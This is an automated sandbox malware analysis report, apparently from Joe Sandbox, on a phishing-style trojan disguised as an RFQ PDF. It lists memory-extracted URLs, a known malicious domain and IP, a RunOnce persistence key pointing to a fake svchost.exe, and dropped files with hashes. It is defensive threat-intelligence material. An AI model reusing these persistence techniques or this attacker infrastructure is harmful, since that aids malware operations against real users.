http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 00000005.00000003.306998078.00000243FF061000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 00000005.00000003.307021748.00000243FF04A000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000005.00000002.307267041.00000243FF029000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 00000005.00000003.307049363.00000243FF042000.00000004.00000001.sdmp	false		high
http://crl.microsoft.co	powershell.exe, 00000011.00000002.551437427.0000000009B51000.00000004.00000001.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0C	RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://sectigo.com/CPS0D	RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://appexmapsappupdate.blob.core.windows.net	svchost.exe, 00000005.00000003.306998078.00000243FF061000.00000004.00000001.sdmp	false		high
http://www.nirsoft.net/	AdvancedRun.exe, AdvancedRun.exe, 0000000D.00000000.329692687.000000000040C000.00000002.00020000.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RFQ - REF 208056-pdf.exe, 00000000.00000002.403215923.0000000002581000.00000004.00000001.sdmp, powershell.exe, 00000009.00000002.539506519.0000000005161000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.524567158.00000000034C1000.00000004.00000001.sdmp, powershell.exe, 00000011.00000002.524025636.00000000050C1000.00000004.00000001.sdmp	false		high
http://www.bingmapsportal.com	svchost.exe, 00000005.00000002.307256810.00000243FF013000.00000004.00000001.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	RFQ - REF 208056-pdf.exe, 00000000.00000002.509634686.0000000003B23000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.544302148.000000000477A000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000005.00000002.307284356.00000243FF03E000.00000004.00000001.sdmp	false		high
http://www.microsoft.coaHp	powershell.exe, 00000011.00000002.547914635.0000000008310000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 00000005.00000003.306998078.00000243FF061000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 00000005.00000003.307045052.00000243FF046000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000011.00000002.524764005.0000000005201000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 00000005.00000002.307284356.00000243FF03E000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 00000005.00000003.285270099.00000243FF031000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 00000005.00000003.307045052.00000243FF046000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000005.00000003.307034624.00000243FF041000.00000004.00000001.sdmp	false		high
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://activity.windows.comr	svchost.exe, 00000003.00000002.513627906.000002451B03E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 00000005.00000002.307284356.00000243FF03E000.00000004.00000001.sdmp, svchost.exe, 00000005.00000002.307256810.00000243FF013000.00000004.00000001.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 00000003.00000002.513627906.000002451B03E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 00000005.00000003.307003492.00000243FF04D000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000005.00000003.285270099.00000243FF031000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 00000005.00000003.285270099.00000243FF031000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 00000005.00000003.306998078.00000243FF061000.00000004.00000001.sdmp	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 00000005.00000002.307307178.00000243FF05D000.00000004.00000001.sdmp	false		high
http://crl.m	powershell.exe, 00000011.00000002.551437427.0000000009B51000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	svchost.exe, 00000002.00000002.532241708.000001EAA1F60000.00000002.00000001.sdmp	false		high
https://dynamic.t	svchost.exe, 00000005.00000003.307003492.00000243FF04D000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000005.00000003.306998078.00000243FF061000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000011.00000002.524764005.0000000005201000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000005.00000002.307267041.00000243FF029000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 00000005.00000003.285270099.00000243FF031000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 00000005.00000002.307307178.00000243FF05D000.00000004.00000001.sdmp	false		high
https://activity.windows.com	svchost.exe, 00000003.00000002.513627906.000002451B03E000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 00000005.00000003.306998078.00000243FF061000.00000004.00000001.sdmp	false		high
https://%s.dnet.xboxlive.com	svchost.exe, 00000003.00000002.513627906.000002451B03E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000005.00000003.307021748.00000243FF04A000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.172.17	unknown	United States		13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	358398
Start date:	25.02.2021
Start time:	15:14:01
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 17m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	RFQ - REF 208056-pdf.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@37/15@3/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 7.2% (good quality ratio 6.8%) Quality average: 82.1% Quality standard deviation: 27%
HCA Information:	Successful, ratio: 93% Number of executed functions: 124 Number of non-executed functions: 87
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, BackgroundTransferHost.exe, SgrmBroker.exe, backgroundTaskHost.exe, WmiPrvSE.exe Excluded IPs from analysis (whitelisted): 51.103.5.186, 51.104.144.132, 131.253.33.200, 13.107.22.200, 52.255.188.83, 104.42.151.234, 52.147.198.201, 23.211.6.115, 184.30.20.56, 51.11.168.160, 2.20.142.209, 2.20.142.210, 92.122.213.194, 92.122.213.247, 104.43.139.144, 20.54.26.129, 52.155.217.156 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, arc.msn.com.nsatc.net, store-images.s-microsoft.com-c.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, wns.notify.trafficmanager.net, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, www.bing.com, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, displaycatalog.md.mp.microsoft.com.akadns.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, skypedataprdcolcus16.cloudapp.net, dual-a-0001.dc-msedge.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus16.cloudapp.net, vip2-par02p.wns.notify.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report creation exceeded maximum time and may have missing behavior and disassembly information. Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:15:04	API Interceptor	2x Sleep call for process: svchost.exe modified
15:15:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce XZFSGXzndMljLVEovPfqdS explorer.exe "C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe"
15:15:39	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce XZFSGXzndMljLVEovPfqdS explorer.exe "C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe"
15:15:57	API Interceptor	25x Sleep call for process: powershell.exe modified
15:16:20	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
172.67.172.17	CN-Invoice-XXXXX9808-19011143287994.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/88756E9935B1A5EAEE811D9BDFD69574.html
	RFQ_#2021-2-25-1.pdf.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/099966AA4311D7113F5BB60B93F45E2A.html
	PRODUCT SPECIFICATION.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/645C0E3DC93FA95B6C8A8ED7479D7BE0.html
	Sample Request for Proposal for Auditing Services.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/047C6EE29B052DE5AEEBC4044252D106.html
	DHL_document1102202068090891.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/40146EDED8BA63D6AE3F2DAF99B02171.html
	Dekont.pdf.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/543D6276259C453DE82D4E8A6F9C519D.html
	order inquiry.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/AE1CA9ADC0D7C9BC87D3746C7E358920.html
	IMG_5771098.xlsx	Get hash	malicious	Browse	coroloboxorozor.com/base/F31A591A992F9F10459CA91956D4B922.html
	2070121SN-WS.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/D67358B78A0270CCB5939EF8C3384EB0.html
	SAL-0908889000.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/707A5EEA0CF5BEFE1A44A93C9F311222.html
	Purchase Order_Pdf.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/A0BC51B15BADC621E7C2DA57F1F666B5.html
	Payment Notification.doc	Get hash	malicious	Browse	coroloboxorozor.com/base/C31D970F225E46D6FFA42B117CC87914.html
	PO98000000090.jar	Get hash	malicious	Browse	coroloboxorozor.com/base/6CE96E65ABD2B0982219B89A4C828006.html
	P O DZ564955B.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/EE9C9D2BE71BE93E8EF2E1EE1CA658F4.html
	PO98000000090.jar	Get hash	malicious	Browse	coroloboxorozor.com/base/991C9BCC0F549AF2B1F88216FC377C57.html
	ORIGINAL090000000.jar	Get hash	malicious	Browse	coroloboxorozor.com/base/768CB08D476E7FF779DD1110D477974C.html
	Fireman.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/F245078D9F23F950E50BB0B3E5A55F73.html
	PO No. 2995_pdf.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/19F80EF211BCE8F026E05C220DD03823.html
	NEW ORDER.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/55DEF9932F060D16BC71F37E3F290A51.html
	CN-Invoice-XXXXX9808-19011143287993.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/4F54EC6FA5BCCB7C8CBF2FD8D36F4A4B.html

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
coroloboxorozor.com	CN-Invoice-XXXXX9808-19011143287994.exe	Get hash	malicious	Browse	172.67.172.17
	RFQ_#2021-2-25-1.pdf.exe	Get hash	malicious	Browse	172.67.172.17
	PRODUCT SPECIFICATION.exe	Get hash	malicious	Browse	172.67.172.17
	Sample Request for Proposal for Auditing Services.exe	Get hash	malicious	Browse	104.21.71.230
	DHL_document1102202068090891.exe	Get hash	malicious	Browse	172.67.172.17
	Dekont.pdf.exe	Get hash	malicious	Browse	172.67.172.17
	order inquiry.exe	Get hash	malicious	Browse	172.67.172.17
	IMG_5771098.xlsx	Get hash	malicious	Browse	172.67.172.17
	YrdW0m2bjE.exe	Get hash	malicious	Browse	104.21.71.230
	em6eElVbOm.exe	Get hash	malicious	Browse	104.21.71.230
	2070121SN-WS.exe	Get hash	malicious	Browse	172.67.172.17
	DOC-654354.xlsx	Get hash	malicious	Browse	104.21.71.230
	xQHJ4rJmTi.exe	Get hash	malicious	Browse	104.21.71.230
	RFQ CSDOK202040890.exe	Get hash	malicious	Browse	104.21.71.230
	SAL-0908889000.exe	Get hash	malicious	Browse	104.21.71.230
	Purchase Order_Pdf.exe	Get hash	malicious	Browse	104.21.71.230
	Payment Notification.doc	Get hash	malicious	Browse	172.67.172.17
	SecuriteInfo.com.Artemis30F445BB737F.24261.exe	Get hash	malicious	Browse	104.21.71.230
	PO98000000090.jar	Get hash	malicious	Browse	172.67.172.17
	P O DZ564955B.exe	Get hash	malicious	Browse	172.67.172.17

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	CN-Invoice-XXXXX9808-19011143287994.exe	Get hash	malicious	Browse	172.67.172.17
	twistercrypted.exe	Get hash	malicious	Browse	104.18.28.12
	C1 PureQuest PO S1026710.xlsm	Get hash	malicious	Browse	104.16.19.94
	C1 PureQuest PO S1026710.xlsm	Get hash	malicious	Browse	104.16.18.94
	C1 PureQuest PO S1026710.xlsm	Get hash	malicious	Browse	104.17.234.204
	Returned Message Body.exe	Get hash	malicious	Browse	172.67.188.154
	W175EHpHv3.exe	Get hash	malicious	Browse	172.67.194.108
	Bankdaten #f6356.pdf.exe	Get hash	malicious	Browse	172.67.188.154
	W175EHpHv3.exe	Get hash	malicious	Browse	172.67.194.108
	PO#2102003.exe	Get hash	malicious	Browse	172.67.188.154
	Qvc Order .exe	Get hash	malicious	Browse	172.67.188.154
	company inquiry.exe	Get hash	malicious	Browse	172.67.188.154
	Neue Bestellung_WJO-001, pdf.exe	Get hash	malicious	Browse	104.21.19.200
	Order NX-LI-15-0001.exe	Get hash	malicious	Browse	104.21.19.200
	TNT eInvoice_pdf.exe	Get hash	malicious	Browse	172.67.188.154
	000INV00776.exe	Get hash	malicious	Browse	172.67.188.154
	SAES-0077766.exe	Get hash	malicious	Browse	104.21.19.200
	PO.Attached98736.PDF.exe	Get hash	malicious	Browse	104.21.19.200
	mif000262021.exe	Get hash	malicious	Browse	172.67.188.154
	PAYMENT SWIFT USD96110_PDF.exe	Get hash	malicious	Browse	104.21.19.200

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	CN-Invoice-XXXXX9808-19011143287994.exe	Get hash	malicious	Browse
	PRODUCT SPECIFICATION.exe	Get hash	malicious	Browse
	DHL_document1102202068090891.exe	Get hash	malicious	Browse
	em6eElVbOm.exe	Get hash	malicious	Browse
	Purchase Order_Pdf.exe	Get hash	malicious	Browse
	Fireman.exe	Get hash	malicious	Browse
	NEW ORDER.exe	Get hash	malicious	Browse
	CN-Invoice-XXXXX9808-19011143287993.exe	Get hash	malicious	Browse
	payment confirmation 0029175112.exe	Get hash	malicious	Browse
	Vrxs6evJO7.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKD.36380495.3131.exe	Get hash	malicious	Browse
	RMe2JcmlSh.exe	Get hash	malicious	Browse
	New Order 2300030317388 InterMetro.exe	Get hash	malicious	Browse
	CN-Invoice-XXXXX9808-19011143287989.exe	Get hash	malicious	Browse
	PURCHASE ITEMS.exe	Get hash	malicious	Browse
	CN-Invoice-XXXXX9808-19011143287992.exe	Get hash	malicious	Browse
	quotation_PR # 00459182..exe	Get hash	malicious	Browse
	PURCHASE ORDER CONFIRMATION.exe	Get hash	malicious	Browse
	New Order.exe	Get hash	malicious	Browse
	PO#87498746510.exe	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.597889115294713
Encrypted:	false
SSDEEP:	6:0FvMk1GaD0JOCEfMuaaD0JOCEfMKQmD2utAl/gz2cE0fMbhEZolrRSQ2hyYIIT:05GaD0JcaaD0JwQQ2utAg/0bjSQJ
MD5:	C664243FC27035F720256C6B25D79A29
SHA1:	24F1AF0205F776EDF15128AE46A6DABA6450F8C7
SHA-256:	4CDBB7488D24303793F8CF2D0C03BB25443CFEE2BB0D319C73909E91E500E0F3
SHA-512:	B559AA386F3EE1A63C2C07439817EBF38CA9E3EE52DCE327D5BFAB7A17F9F1243FAA74FA3CBEA643B9C877428E81DD7F6FC1239C3655C4BDAFDA6DE2635A390E
Malicious:	false
Preview:	......:{..(..........y............... ..1C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@........................y............&......e.f.3...w.......................3...w..................h..C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b...G............................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x614d938a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.09469397928593626
Encrypted:	false
SSDEEP:	6:5zwl/+zVRIE11Y8TRXxc7lwqKfzwl/+zVRIE11Y8TRXxc7lwqK:50+zVO4blMwqKf0+zVO4blMwqK
MD5:	E2D4D11F0701256A691B3C649505527D
SHA1:	2C6BCCBE7748E05DC1E80A165C58C79B3A2C1ECD
SHA-256:	1CB400EB6534FA7DCB5A2EDA443B9AD6797AD23C0AD52BE728B9A3432A95FB37
SHA-512:	D8BB1A654E7A7F153536044C933FD53B32A1834C445F01D360008809207E372A507499D3A76EA9C2DF00A1196EA743324788F43BFC498660D4345424BA038F12
Malicious:	false
Preview:	aM..... ................e.f.3...w........................&..........w.......y..h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w........................................................................................................................................................................................................................................3.....y...................\|.......y..........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.1093288637601826
Encrypted:	false
SSDEEP:	3:QhRm/t7EvgJ8BK+Al/bJdAti/0cwX/all:QHm1igJN+At4glwG
MD5:	866F5280185C6141740F793982D4D490
SHA1:	DC9BBAAFE4CA6E76B5EC3934B1E6B4874A905A46
SHA-256:	FA3BE1BEB42DDDE6BF6E1264FDE7B9EBD8B8670BB527DA964A460B39E9C10531
SHA-512:	F77A01D64895543819100DC0F2BC33AE67736BDF169E82877CBE15D8184C2F9F587FE510217282502F835C2D4759A2B9E180A17003E49D7200BE3378F170AF3A
Malicious:	false
Preview:	Y$.4.....................................3...w.......y.......w...............w.......w....:O.....w...................\|.......y..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	14734
Entropy (8bit):	4.993014478972177
Encrypted:	false
SSDEEP:	384:cBVoGIpN6KQkj2Wkjh4iUxtaKdROdBLNXp5nYoGib4J:cBV3IpNBQkj2Lh4iUxtaKdROdBLNZBYH
MD5:	8D5E194411E038C060288366D6766D3D
SHA1:	DC1A8229ED0B909042065EA69253E86E86D71C88
SHA-256:	44EEE632DEDFB83A545D8C382887DF3EE7EF551F73DD55FEDCDD8C93D390E31F
SHA-512:	21378D13D42FBFA573DE91C1D4282B03E0AA1317B0C37598110DC53900C6321DB2B9DF27B2816D6EE3B3187E54BF066A96DB9EC1FF47FF86FEA36282AB906367
Malicious:	false
Preview:	PSMODULECACHE......<.e...Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........<.e...T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe Download File
Process:	C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91000
Entropy (8bit):	6.241345766746317
Encrypted:	false
SSDEEP:	1536:JW3osrWjET3tYIrrRepnbZ6ObGk2nLY2jR+utQUN+WXim:HjjET9nX0pnUOik2nXjR+utQK+g3
MD5:	17FC12902F4769AF3A9271EB4E2DACCE
SHA1:	9A4A1581CC3971579574F837E110F3BD6D529DAB
SHA-256:	29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B
SHA-512:	036E0D62490C26DEE27EF54E514302E1CC8A14DE8CE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E4A
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: CN-Invoice-XXXXX9808-19011143287994.exe, Detection: malicious, Browse Filename: PRODUCT SPECIFICATION.exe, Detection: malicious, Browse Filename: DHL_document1102202068090891.exe, Detection: malicious, Browse Filename: em6eElVbOm.exe, Detection: malicious, Browse Filename: Purchase Order_Pdf.exe, Detection: malicious, Browse Filename: Fireman.exe, Detection: malicious, Browse Filename: NEW ORDER.exe, Detection: malicious, Browse Filename: CN-Invoice-XXXXX9808-19011143287993.exe, Detection: malicious, Browse Filename: payment confirmation 0029175112.exe, Detection: malicious, Browse Filename: Vrxs6evJO7.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.GenericKD.36380495.3131.exe, Detection: malicious, Browse Filename: RMe2JcmlSh.exe, Detection: malicious, Browse Filename: New Order 2300030317388 InterMetro.exe, Detection: malicious, Browse Filename: CN-Invoice-XXXXX9808-19011143287989.exe, Detection: malicious, Browse Filename: PURCHASE ITEMS.exe, Detection: malicious, Browse Filename: CN-Invoice-XXXXX9808-19011143287992.exe, Detection: malicious, Browse Filename: quotation_PR # 00459182..exe, Detection: malicious, Browse Filename: PURCHASE ORDER CONFIRMATION.exe, Detection: malicious, Browse Filename: New Order.exe, Detection: malicious, Browse Filename: PO#87498746510.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oH..+)..+)..+)...&.))...&.9).....()...... )..+)...(......()......).....).....)..Rich+)..........................PE..L.....(_.........................................@..........................@..............................................L............a...........B..x!..........p...................................................<............................text...)........................... ..`.rdata.../.......0..................@..@.data...............................@....rsrc....a.......b..................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\test.bat Download File
Process:	C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	modified
Size (bytes):	8399
Entropy (8bit):	4.665734428420432
Encrypted:	false
SSDEEP:	192:XjtIefE/Qv3puaQo8BElNisgwgxOTkre0P/XApNDQSO8wQJYbZhgEAFcH8N:xIef2Qh8BuNivdisOyj6YboVF3N
MD5:	B2A5EF7D334BDF866113C6F4F9036AAE
SHA1:	F9027F2827B35840487EFD04E818121B5A8541E0
SHA-256:	27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E
SHA-512:	8ED39ED39E03FA6D4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56CACEEE87ACFB7D4831D267189E
Malicious:	false
